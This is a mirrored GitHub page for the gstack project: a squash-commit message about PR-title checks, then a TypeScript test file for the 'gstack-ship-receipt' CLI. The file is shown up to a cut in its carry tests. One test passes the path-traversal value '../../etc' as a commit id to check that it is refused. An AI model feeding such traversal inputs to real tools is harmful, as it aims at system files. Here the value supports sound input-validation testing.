mirror of
https://github.com/garrytan/gstack.git
synced 2026-11-10 18:50:18 +01:00
* Add a check that keeps tracker codes and internal jargon out of PR titles and branch names gstack-plain-title checks the readable front of a title, branch name, PR opening or changelog entry against the repository's .gstack/plain-titles.json; one trailing issue code stays allowed. A Plain title workflow runs it on every new pull request, and /ship's push refuses a never-pushed branch whose name fails it. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Move the PR body's machine-read lines into a closing Agent notes section The ship receipt, its runs block and the Plan line now live in one collapsed section at the end of the body, and every reader looks there first while still accepting the old receipt-at-top layout. gstack-post refuses to post a title the plain-title check refuses, and land uses the checked PR title as main's commit title. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Teach /ship to write plain titles, PR openings, commit messages and changelog entries The README now lists what gstack is for, so a PR opening can name the goal it serves. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Keep tests, size budgets and generated files in step with plain titles and Agent notes Copy lists that install result-code modules now include the plain-title codes, the ship goldens and size ledger are refreshed, the new workflow is classified, and the pinned prose tests read the new title and body layout. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Record the test-profile list change as non-behavioral for the shared test harness Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Keep text people add below the PR notes, and fix three smaller review findings The notes section now ends at its own closing tag, so a collapsible added after it survives the next post. The opening check splits the body the same way the notes reader does. Wave PR titles no longer name the area, which the plain-title check could refuse. The Capy line in the PR-body steps now puts Approvals in the notes. Review-Finding: p1/specialist-batched#1 reader=testing Review-Finding: p1/red-team#1 reader=red-team Review-Finding: p1/red-team#2 reader=red-team Review-Finding: p1/red-team#3 reader=red-team Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Mask credentials in refused-title lines and keep older PRs' plan lines readable A refused title's printed match is masked by the secret scanner first. The Plan line reader falls back to the whole body when the Agent notes section has none, so a body written before this change keeps its plan when its first receipt lands. The notes section also ends at its own closing tag when its opener is split or marked open, or when a collapsible inside it is left unclosed. Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Print a fixed placeholder when a credential in a refused title cannot be masked Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Keep a plain-title policy edit from scheduling every paid eval Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Record the paid-eval list change as non-behavioral for the shared test harness Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * Recheck the PR title on every edit so a base change cannot turn a refused title green Review-Finding: s11/targeted#1 reader=targeted Review-Finding: s11/adversarial-native#1 reader=adversarial-native Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
816 lines
66 KiB
TypeScript
816 lines
66 KiB
TypeScript
/**
|
||
* C5: the handoff record. `write` renders the fenced block identifiers-first
|
||
* and places it at the top of a PR body; `read` parses it back from a body or
|
||
* a PR (RECEIPT_MISSING / RECEIPT_INVALID); `census` computes the P7 adoption
|
||
* number over merged PRs, deduplicated by run and thread, against a cohort.
|
||
*/
|
||
import { afterEach, describe, expect, test } from 'bun:test';
|
||
import * as fs from 'node:fs';
|
||
import * as os from 'node:os';
|
||
import * as path from 'node:path';
|
||
import { EXIT } from '../lib/headless-artifacts';
|
||
import { bindReceipt, classifyCarryPath, computeCensus, extractReceipt, parseReviewLoop, placeReceipt, planCarry, receiptSummaryLine, renderReceiptBlock, stampOnlyText } from '../lib/ship-receipt';
|
||
import { cleanup, ghShim, makeFixtureRepo, makePr, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture';
|
||
|
||
const repos: FixtureRepo[] = [];
|
||
const fixture = () => { const r = makeFixtureRepo({ prefix: 'ship-receipt-' }); repos.push(r); return r; };
|
||
afterEach(() => { while (repos.length) cleanup(repos.pop()!); });
|
||
|
||
const HEAD = 'a'.repeat(40);
|
||
const block = (receipt: Record<string, unknown>) => renderReceiptBlock(receipt as any);
|
||
|
||
describe('gstack-ship-receipt write', () => {
|
||
test('writes the block identifiers-first, validates it against the ship-receipt schema, and puts it in the Agent notes section at the end of the PR body', () => {
|
||
const repo = fixture();
|
||
makePr(repo, 'pr-a', { expects: '1.2.4.0' });
|
||
expect(restamp(repo, ['--version', '1.2.4.0']).status).toBe(EXIT.ok);
|
||
repo.git('commit', '-qam', 'stamp');
|
||
const head = repo.git('rev-parse', 'HEAD');
|
||
const bundle = path.join(repo.root, 'bundle.json');
|
||
recordAndBundle(repo, repo.work, [{ label: 'tests', command: 'true' }], bundle);
|
||
const treeReceipt = path.join(repo.root, 'tree-receipt.json');
|
||
const tr = runBin(repo, 'gstack-tree-receipt', ['--base', 'main', '--gated', head, '--bundle', bundle, '--predecessor', 'b'.repeat(40), '--json']);
|
||
fs.writeFileSync(treeReceipt, tr.out);
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, '## Summary\n\nProse that a truncated message may lose.\n');
|
||
const w = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--receipt', treeReceipt,
|
||
'--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', '--ci', '@' + path.join(repo.root, 'ci.json'), '--spend-usd', '0.42',
|
||
'--session-kind', 'unattended', '--artifacts-consumed', '2/3', '--run', 'run-1', '--thread', 'jam_1', '--queue-mode', 'stamp-at-merge',
|
||
'--preregistration', 'none (no preregistration_shas)', '--history', 'squash-ok', '--body', body, '--out', path.join(repo.root, 'receipt.md')]);
|
||
expect(w.status).toBe(EXIT.usage);
|
||
fs.writeFileSync(path.join(repo.root, 'ci.json'), '{"checks":{"pass":3,"fail":0,"pending":0}}');
|
||
const ok = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--receipt', treeReceipt,
|
||
'--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', '--ci', '@' + path.join(repo.root, 'ci.json'), '--spend-usd', '0.42',
|
||
'--session-kind', 'unattended', '--artifacts-consumed', '2/3', '--run', 'run-1', '--thread', 'jam_1', '--queue-mode', 'stamp-at-merge',
|
||
'--preregistration', 'none (no preregistration_shas)', '--history', 'squash-ok', '--body', body, '--out', path.join(repo.root, 'receipt.md')]);
|
||
expect(ok.status).toBe(EXIT.ok);
|
||
expect(ok.err.trim()).toBe(`SHIP_RECEIPT: pr=42 head=${head.slice(0, 12)} version=1.2.4.0 base=main gated_tree=${repo.git('rev-parse', 'HEAD^{tree}').slice(0, 12)} tree=same-modulo-stamps gate-reuse=eligible (reusable: tests; rerun: -) predecessor=${'b'.repeat(12)} session_kind=unattended artifacts_consumed=2/3 depth=light`);
|
||
const parsed = extractReceipt(ok.out);
|
||
expect(parsed.found).toBe(true);
|
||
expect(parsed.errors).toEqual([]);
|
||
expect(Object.keys(parsed.receipt!)).toEqual(['schema_version', 'pr', 'head', 'version', 'base', 'gated_tree', 'predecessor', 'tree', 'gate_reuse', 'gate', 'ci', 'spend_usd', 'session_kind', 'artifacts_consumed', 'run', 'thread', 'policy', 'queue_mode', 'preregistration', 'history', 'head_tree', 'product_patch_id', 'gstack_version', 'review_depth']);
|
||
expect(parsed.receipt).toMatchObject({ schema_version: 1, pr: 42, head, version: '1.2.4.0', base: 'main', tree: 'same-modulo-stamps', spend_usd: 0.42, ci: { checks: { pass: 3 } } });
|
||
expect(parsed.receipt!.head_tree).toBe(repo.git('rev-parse', 'HEAD^{tree}'));
|
||
expect(parsed.receipt!.product_patch_id).toMatch(/^([0-9a-f]{40}|none)$/);
|
||
expect(parsed.receipt!.policy).toMatch(/^origin\/main@[0-9a-f]{12}:\.gstack\/ship-policy\.json$/);
|
||
const written = fs.readFileSync(body, 'utf8');
|
||
expect(written.startsWith('## Summary\n\nProse that a truncated message may lose.\n\n<!-- gstack:agent-notes -->\n<details><summary>Agent notes</summary>\n\n```gstack-ship-receipt\n{\n "schema_version": 1,\n "pr": 42,\n "head": "' + head + '"')).toBe(true);
|
||
expect(written.endsWith('\n```\n\n</details>\n')).toBe(true);
|
||
expect(fs.readFileSync(path.join(repo.root, 'receipt.md'), 'utf8')).toBe(ok.out);
|
||
const art = runBin(repo, 'gstack-artifact', ['validate', path.join(repo.root, 'receipt.json'), '--as', 'ship-receipt']);
|
||
expect(art.status).not.toBe(EXIT.ok);
|
||
fs.writeFileSync(path.join(repo.root, 'receipt.json'), JSON.stringify(parsed.receipt));
|
||
expect(runBin(repo, 'gstack-artifact', ['validate', path.join(repo.root, 'receipt.json'), '--as', 'ship-receipt']).status).toBe(EXIT.ok);
|
||
const again = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '43', '--base', 'main', '--body', body, '--session-kind', 'interactive', '--json']);
|
||
expect(again.status).toBe(EXIT.ok);
|
||
const j = JSON.parse(again.out);
|
||
expect(j).toMatchObject({ pr: 43, head, session_kind: 'interactive' });
|
||
expect('tree' in j).toBe(false);
|
||
const rewritten = fs.readFileSync(body, 'utf8');
|
||
expect(rewritten.match(/```gstack-ship-receipt/g)).toHaveLength(1);
|
||
expect(rewritten).toContain('"pr": 43');
|
||
expect(rewritten).toContain('## Summary');
|
||
}, 15_000);
|
||
|
||
test('refuses an invalid receipt before writing (RECEIPT_INVALID) and a non-integer --pr', () => {
|
||
const repo = fixture();
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, 'prose\n');
|
||
const r = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', 'seven', '--base', 'main', '--session-kind', 'x', '--body', body]);
|
||
expect(r.status).toBe(EXIT.usage);
|
||
expect(r.err).toContain('--pr must be an integer');
|
||
const receiptFile = path.join(repo.root, 'tree-receipt.json');
|
||
fs.writeFileSync(receiptFile, JSON.stringify({ tree: 'sideways', gate_reuse: 'eligible', gate_reuse_reason: 'x' }));
|
||
const inv = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--session-kind', 'x', '--receipt', receiptFile, '--body', body]);
|
||
expect(inv.status).toBe(EXIT.fail);
|
||
expect(inv.err).toMatch(/\(RECEIPT_INVALID\)/);
|
||
expect(inv.err).toContain('nothing written');
|
||
expect(fs.readFileSync(body, 'utf8')).toBe('prose\n');
|
||
});
|
||
});
|
||
|
||
describe('gstack-ship-receipt read', () => {
|
||
test('read --body and read --pr (through gh) return the block; a missing block is RECEIPT_MISSING, a broken one RECEIPT_INVALID', () => {
|
||
const repo = fixture();
|
||
const receipt = { schema_version: 1, pr: 5, head: HEAD, version: '1.2.4.0', base: 'main', session_kind: 'unattended', artifacts_consumed: '1/1', run: 'run-5', thread: 'jam_5' };
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, placeReceipt('Prose.\n', receipt as any));
|
||
const b = runBin(repo, 'gstack-ship-receipt', ['read', '--body', body, '--json']);
|
||
expect(b.status).toBe(EXIT.ok);
|
||
expect(JSON.parse(b.out)).toEqual(receipt);
|
||
expect(b.err.trim()).toBe(receiptSummaryLine(receipt as any));
|
||
const env = ghShim(repo, {
|
||
5: { body: fs.readFileSync(body, 'utf8') },
|
||
6: { body: 'No receipt here.\n' },
|
||
7: { body: block({ schema_version: 2, head: HEAD, base: 'main' }) },
|
||
8: { body: '```gstack-ship-receipt\n{not json\n```\n' },
|
||
});
|
||
const p = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '5', '--repo', 'o/r'], env);
|
||
expect(p.status).toBe(EXIT.ok);
|
||
expect(p.out).toBe(renderReceiptBlock(receipt as any));
|
||
const missing = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '6', '--json'], env);
|
||
expect(missing.status).toBe(EXIT.fail);
|
||
expect(missing.err).toMatch(/PR #6.*\(RECEIPT_MISSING\)/);
|
||
expect(JSON.parse(missing.out)).toEqual({ found: false, errors: [] });
|
||
const invalid = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '7', '--json'], env);
|
||
expect(invalid.status).toBe(EXIT.fail);
|
||
expect(invalid.err).toMatch(/\(RECEIPT_INVALID\)/);
|
||
expect(JSON.parse(invalid.out)).toMatchObject({ found: true, valid: false });
|
||
const broken = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '8'], env);
|
||
expect(broken.status).toBe(EXIT.fail);
|
||
expect(broken.err).toMatch(/block is not JSON.*\(RECEIPT_INVALID\)/);
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '9'], env).status).toBe(EXIT.fail);
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['read']).status).toBe(EXIT.usage);
|
||
});
|
||
|
||
test('the unattended handoff write lands in the file docs/unattended.md tells the parent to read --body, at HEAD and with no pr (GSTA-88)', () => {
|
||
const root = path.resolve(import.meta.dir, '..');
|
||
const tmpl = fs.readFileSync(path.join(root, 'ship/sections/handoff.md.tmpl'), 'utf8');
|
||
const write = tmpl.match(/gstack-ship-receipt (write [^\n`]*)/)![1].trim();
|
||
const out = write.match(/--out (\S+)/)?.[1];
|
||
expect(out).toBe('.gstack/tmp/ship-receipt.md');
|
||
expect(fs.readFileSync(path.join(root, 'ship/sections/handoff.md'), 'utf8')).toContain(write);
|
||
const docs = fs.readFileSync(path.join(root, 'docs/unattended.md'), 'utf8').replace(/\s+/g, ' ');
|
||
expect(docs).toContain(`gstack-ship-receipt read --body ${out} --json`);
|
||
expect(docs).toMatch(/read --pr <n> --json` only once a PR exists/);
|
||
|
||
const repo = fixture();
|
||
const env = { GSTACK_SESSION_KIND: 'unattended' };
|
||
fs.mkdirSync(path.join(repo.work, '.gstack/tmp'), { recursive: true });
|
||
fs.writeFileSync(path.join(repo.work, '.gstack/tmp/ship-gate.json'), '{"free":{"pass":1,"fail":0,"skip":0}}');
|
||
expect(runBin(repo, 'gstack-issue-links', ['--base', 'main', '--out', '.gstack/tmp/issues.json'], env).status).toBe(EXIT.ok);
|
||
const w = runBin(repo, 'gstack-ship-receipt', write.replace('<base>', 'main').split(' '), env);
|
||
expect(w.status).toBe(EXIT.ok);
|
||
expect(fs.readFileSync(path.join(repo.work, out!), 'utf8')).toBe(w.out);
|
||
const r = runBin(repo, 'gstack-ship-receipt', ['read', '--body', out!, '--json'], env);
|
||
expect(r.status).toBe(EXIT.ok);
|
||
const receipt = JSON.parse(r.out);
|
||
expect(receipt).toMatchObject({ head: repo.git('rev-parse', 'HEAD'), base: 'main', session_kind: 'unattended' });
|
||
expect(receipt).not.toHaveProperty('pr');
|
||
});
|
||
});
|
||
|
||
describe('gstack-ship-receipt result (/ship terminal line, GBRA-108)', () => {
|
||
test('binds the receipt to HEAD, writes the run record with the head and the receipt path, and ends with GSTACK_RESULT: skill=ship; a missing or stale receipt is status=refused run=-', () => {
|
||
const repo = fixture();
|
||
const head = repo.git('rev-parse', 'HEAD');
|
||
const state = path.join(repo.root, 'state');
|
||
const env = { ...ghShim(repo, {
|
||
5: { headRefOid: head, body: placeReceipt('Prose.\n', { schema_version: 1, pr: 5, head, base: 'main', queue_mode: 'stamp-at-merge' } as any) },
|
||
6: { headRefOid: head, body: placeReceipt('Prose.\n', { schema_version: 1, pr: 6, head: 'b'.repeat(40), base: 'main' } as any) },
|
||
7: { headRefOid: head, body: 'No receipt here.\n' },
|
||
9: { headRefOid: 'd'.repeat(40), body: placeReceipt('Prose.\n', { schema_version: 1, pr: 9, head, base: 'main' } as any) },
|
||
10: { body: placeReceipt('Prose.\n', { schema_version: 1, pr: 10, head, base: 'main' } as any) },
|
||
}), GSTACK_STATE_ROOT: state, GSTACK_SESSION_KIND: 'unattended' };
|
||
const ok = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '5'], env);
|
||
expect(ok.status).toBe(EXIT.ok);
|
||
const last = ok.out.trim().split('\n').at(-1)!;
|
||
const m = /^GSTACK_RESULT: skill=ship status=complete head=([0-9a-f]{40}) run=(.+)$/.exec(last);
|
||
expect(m).not.toBeNull();
|
||
expect(m![1]).toBe(head);
|
||
const dir = m![2]!;
|
||
expect(dir.startsWith(path.join(state, 'ship', 'runs'))).toBe(true);
|
||
expect(dir.endsWith(`-${head.slice(0, 12)}`)).toBe(true);
|
||
const run = JSON.parse(fs.readFileSync(path.join(dir, 'ship-run.json'), 'utf8'));
|
||
expect(fs.existsSync(path.join(dir, 'run.json'))).toBe(false);
|
||
expect(run).toMatchObject({ schema_version: 1, skill: 'ship', status: 'complete', head, pr: 5, base: 'main', queue_mode: 'stamp-at-merge', receipt: path.join(dir, 'ship-receipt.md'), receipt_source: 'PR #5' });
|
||
expect(extractReceipt(fs.readFileSync(run.receipt, 'utf8')).receipt).toMatchObject({ pr: 5, head });
|
||
expect(ok.err.trim()).toBe(`SHIP_RECEIPT: pr=5 head=${head.slice(0, 12)} version=- base=main`);
|
||
|
||
const stale = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '6'], env);
|
||
expect(stale.status).toBe(EXIT.refused);
|
||
expect(stale.out.trim()).toBe('GSTACK_RESULT: skill=ship status=refused run=-');
|
||
expect(stale.err).toMatch(new RegExp(`PR #6's ship receipt is for bbbbbbbbbbbb, not the head ${head.slice(0, 12)} being merged.*\\(QUEUE_RECEIPT_STALE; https://github.com/garrytan/gstack/blob/main/docs/troubleshooting.md#queue-receipt-stale\\)`));
|
||
const missing = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '7', '--json'], env);
|
||
expect(missing.status).toBe(EXIT.refused);
|
||
expect(JSON.parse(missing.out)).toMatchObject({ skill: 'ship', status: 'refused', run: '-', code: 'QUEUE_RECEIPT_MISSING' });
|
||
const unpushed = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '9'], env);
|
||
expect([unpushed.status, unpushed.out.trim()]).toEqual([EXIT.refused, 'GSTACK_RESULT: skill=ship status=refused run=-']);
|
||
expect(unpushed.err).toContain(`HEAD ${head.slice(0, 12)} is not PR #9's pushed head dddddddddddd; push it, then rerun gstack-ship-receipt result`);
|
||
const noOid = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '10'], env);
|
||
expect([noOid.status, noOid.out.trim()]).toEqual([EXIT.fail, 'GSTACK_RESULT: skill=ship status=incomplete run=-']);
|
||
expect(noOid.err).toContain('gh pr view returned no headRefOid for PR #10');
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '--repo'], env).status).toBe(EXIT.usage);
|
||
const bothFlags = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '5', '--body', path.join(repo.work, 'any.md')], env);
|
||
expect([bothFlags.status, bothFlags.out]).toEqual([EXIT.usage, '']);
|
||
expect(bothFlags.err).toContain('not both');
|
||
const dirBody = runBin(repo, 'gstack-ship-receipt', ['result', '--body', repo.work], env);
|
||
expect([dirBody.status, dirBody.out.trim()]).toEqual([EXIT.fail, 'GSTACK_RESULT: skill=ship status=incomplete run=-']);
|
||
expect(dirBody.err).toContain(`cannot read ${repo.work}`);
|
||
|
||
const bodyFile = path.join(repo.work, '.gstack/tmp/ship-receipt.md');
|
||
fs.mkdirSync(path.dirname(bodyFile), { recursive: true });
|
||
fs.writeFileSync(bodyFile, renderReceiptBlock({ schema_version: 1, head, base: 'main' } as any));
|
||
const handoff = runBin(repo, 'gstack-ship-receipt', ['result', '--body', bodyFile, '--out', path.join(repo.root, 'run-out')], env);
|
||
expect(handoff.status).toBe(EXIT.ok);
|
||
expect(handoff.out.trim()).toBe(`GSTACK_RESULT: skill=ship status=complete head=${head} run=${path.join(repo.root, 'run-out')}`);
|
||
expect(JSON.parse(fs.readFileSync(path.join(repo.root, 'run-out', 'ship-run.json'), 'utf8'))).toMatchObject({ head, pr: null, receipt_source: bodyFile, session_kind: 'unattended' });
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['result', '--body', path.join(repo.root, 'absent.md')], env).status).toBe(EXIT.refused);
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['result'], env).status).toBe(EXIT.usage);
|
||
const relative = runBin(repo, 'gstack-ship-receipt', ['result', '--body', bodyFile, '--out', 'rel-out'], env);
|
||
expect(relative.status).toBe(EXIT.ok);
|
||
expect(relative.out.trim()).toBe(`GSTACK_RESULT: skill=ship status=complete head=${head} run=${path.join(repo.work, 'rel-out')}`);
|
||
expect(fs.existsSync(path.join(repo.work, 'rel-out', 'ship-run.json'))).toBe(true);
|
||
const blocker = path.join(repo.root, 'not-a-dir');
|
||
fs.writeFileSync(blocker, 'file\n');
|
||
const unwritable = runBin(repo, 'gstack-ship-receipt', ['result', '--body', bodyFile, '--out', path.join(blocker, 'sub')], env);
|
||
expect([unwritable.status, unwritable.out.trim()]).toEqual([EXIT.fail, 'GSTACK_RESULT: skill=ship status=incomplete run=-']);
|
||
expect(unwritable.err).toContain(`cannot write the run record under ${path.join(blocker, 'sub')}`);
|
||
expect(fs.readdirSync(path.join(state, 'ship', 'runs')).length).toBe(1);
|
||
});
|
||
|
||
// Value: protects=a --body handoff refusal names "the receipt", never "PR #-", and a gh failure is EXIT.fail, not a refusal;
|
||
// fails_when=the PR #-'s rewrite stops matching or gh errors are mapped to status=refused; why_new=the result test covers
|
||
// only the --pr refusals, an absent file and a bound handoff; seam=none; no_claim=real gh (the shim stands in; unit only)
|
||
test('a --body file with no block or a stale head is refused in the receipt\'s own words, and a gh failure is a plain failure, not a refusal', () => {
|
||
const repo = fixture();
|
||
const head = repo.git('rev-parse', 'HEAD');
|
||
const env = { ...ghShim(repo, {}), GSTACK_STATE_ROOT: path.join(repo.root, 'state') };
|
||
const dir = path.join(repo.work, '.gstack/tmp');
|
||
fs.mkdirSync(dir, { recursive: true });
|
||
const noBlock = path.join(dir, 'no-block.md');
|
||
fs.writeFileSync(noBlock, 'Handoff prose without a receipt.\n');
|
||
const missing = runBin(repo, 'gstack-ship-receipt', ['result', '--body', noBlock], env);
|
||
expect(missing.status).toBe(EXIT.refused);
|
||
expect(missing.out.trim()).toBe('GSTACK_RESULT: skill=ship status=refused run=-');
|
||
expect(missing.err).toContain("the receipt's body carries no ship receipt");
|
||
expect(missing.err).not.toContain('PR #-');
|
||
const staleFile = path.join(dir, 'stale.md');
|
||
fs.writeFileSync(staleFile, renderReceiptBlock({ schema_version: 1, head: 'c'.repeat(40), base: 'main' } as any));
|
||
const stale = runBin(repo, 'gstack-ship-receipt', ['result', '--body', staleFile], env);
|
||
expect(stale.status).toBe(EXIT.refused);
|
||
expect(stale.err).toContain(`the receipt's ship receipt is for cccccccccccc, not the head ${head.slice(0, 12)} being merged`);
|
||
const invalidFile = path.join(dir, 'invalid.md');
|
||
fs.writeFileSync(invalidFile, '```gstack-ship-receipt\n{"schema_version":1}\n```\n');
|
||
const invalid = runBin(repo, 'gstack-ship-receipt', ['result', '--body', invalidFile], env);
|
||
expect([invalid.status, invalid.out.trim()]).toEqual([EXIT.refused, 'GSTACK_RESULT: skill=ship status=refused run=-']);
|
||
expect(invalid.err).toMatch(/the receipt's ship receipt is invalid \(.*\).*\(QUEUE_RECEIPT_MISSING/);
|
||
const otherPrEnv = { ...env, ...ghShim(repo, { 8: { headRefOid: head, body: placeReceipt('Prose.\n', { schema_version: 1, pr: 99, head, base: 'main' } as any) } }) };
|
||
const otherPr = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '8'], otherPrEnv);
|
||
expect([otherPr.status, otherPr.out.trim()]).toEqual([EXIT.refused, 'GSTACK_RESULT: skill=ship status=refused run=-']);
|
||
expect(otherPr.err).toContain("PR #8's ship receipt names pr=99, not this PR");
|
||
const pinned = path.join(dir, 'pinned.md');
|
||
fs.writeFileSync(pinned, renderReceiptBlock({ schema_version: 1, head: 'c'.repeat(40), base: 'main' } as any));
|
||
const override = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned, '--head', 'c'.repeat(40), '--out', path.join(repo.root, 'pinned-out')], env);
|
||
expect([override.status, override.out.trim()]).toEqual([EXIT.ok, `GSTACK_RESULT: skill=ship status=complete head=${'c'.repeat(40)} run=${path.join(repo.root, 'pinned-out')}`]);
|
||
expect(JSON.parse(fs.readFileSync(path.join(repo.root, 'pinned-out', 'ship-run.json'), 'utf8')).head).toBe('c'.repeat(40));
|
||
const badHead = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned, '--head', '../../etc'], env);
|
||
expect([badHead.status, badHead.out]).toEqual([EXIT.usage, '']);
|
||
expect(badHead.err).toContain('--head must be a full hex commit id');
|
||
const shortHead = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned, '--head', head.slice(0, 12)], env);
|
||
expect([shortHead.status, shortHead.out]).toEqual([EXIT.usage, '']);
|
||
expect(shortHead.err).toContain('--head must be a full hex commit id');
|
||
const upper = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned, '--head', 'C'.repeat(40), '--out', path.join(repo.root, 'upper-out')], env);
|
||
expect([upper.status, upper.out.trim()]).toEqual([EXIT.ok, `GSTACK_RESULT: skill=ship status=complete head=${'c'.repeat(40)} run=${path.join(repo.root, 'upper-out')}`]);
|
||
const noGit = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-receipt-nogit-'));
|
||
const outside = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned], env, noGit);
|
||
expect([outside.status, outside.err.trim()]).toEqual([EXIT.usage, 'gstack-ship-receipt result: --head <sha> is required outside a git repository']);
|
||
fs.rmSync(noGit, { recursive: true, force: true });
|
||
const ghDown = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '9'], env);
|
||
expect(ghDown.status).toBe(EXIT.fail);
|
||
expect(ghDown.err).toContain('gh pr view failed');
|
||
expect(ghDown.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
|
||
expect(JSON.parse(runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '9', '--json'], env).out)).toMatchObject({ skill: 'ship', status: 'incomplete', run: '-' });
|
||
expect(fs.existsSync(path.join(repo.root, 'state', 'ship', 'runs'))).toBe(false);
|
||
});
|
||
});
|
||
|
||
describe('gstack-ship-receipt carry (harness lane E row 3: receipt follows a head whose product diff is unchanged)', () => {
|
||
// Value: protects=the carry rebinds only when the product patch-id against the base is identical (base merge, test-only fix,
|
||
// release metadata), records the evidence, and refuses a product change by name; fails_when=a product edit is carried, a
|
||
// rebased head is accepted, or the carried receipt loses its SHIP_RECEIPT identity; seam=none; no_claim=gh pr edit (the shim stands in)
|
||
test('carries across a conflict-only base merge and a test-only fix, records the carry, and ends with the terminal line; a product change is RECEIPT_CARRY_PRODUCT_CHANGED', () => {
|
||
const repo = fixture();
|
||
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
|
||
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 1;\n');
|
||
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test a\n');
|
||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-qb', 'feat');
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
|
||
repo.git('commit', '-qam', 'feat: a=2');
|
||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||
// main moves on in another file; the branch merges it (conflict-only base merge).
|
||
repo.git('checkout', '-q', 'main');
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 2;\n');
|
||
repo.git('commit', '-qam', 'main: o=2'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-q', 'feat');
|
||
repo.git('merge', '-q', '--no-edit', 'origin/main');
|
||
// then a test-only fix
|
||
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test a=2\n');
|
||
repo.git('commit', '-qam', 'test: fix expectation');
|
||
const head = repo.git('rev-parse', 'HEAD');
|
||
const state = path.join(repo.root, 'state');
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, placeReceipt('## Summary\n\nProse.\n', { schema_version: 1, pr: 5, head: reviewed, base: 'main', queue_mode: 'stamp-at-merge', review_loop: { passes: 2, blocking_found: 1, deferred: 1 } } as any));
|
||
const env = { GSTACK_STATE_ROOT: state, GSTACK_SESSION_KIND: 'unattended' };
|
||
const dry = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||
expect(dry.status).toBe(EXIT.ok);
|
||
expect(dry.out.trim()).toBe(`CARRY: would carry from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (base merge + test-only change); nothing written`);
|
||
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(reviewed);
|
||
const carried = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'carry-run')], env);
|
||
expect(carried.status).toBe(EXIT.ok);
|
||
expect(carried.out.trim().split('\n')).toEqual([
|
||
`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (base merge + test-only change)`,
|
||
`GSTACK_RESULT: skill=ship status=complete head=${head} run=${path.join(repo.root, 'carry-run')}`,
|
||
]);
|
||
expect(carried.err.trim()).toBe(`SHIP_RECEIPT: pr=5 head=${head.slice(0, 12)} version=- base=main passes=2 blocking_found=1 deferred=1 carried_from=${reviewed.slice(0, 12)}`);
|
||
const after = extractReceipt(fs.readFileSync(body, 'utf8'));
|
||
expect(after.errors).toEqual([]);
|
||
expect(after.receipt).toMatchObject({ pr: 5, head, base: 'main', review_loop: { passes: 2 } });
|
||
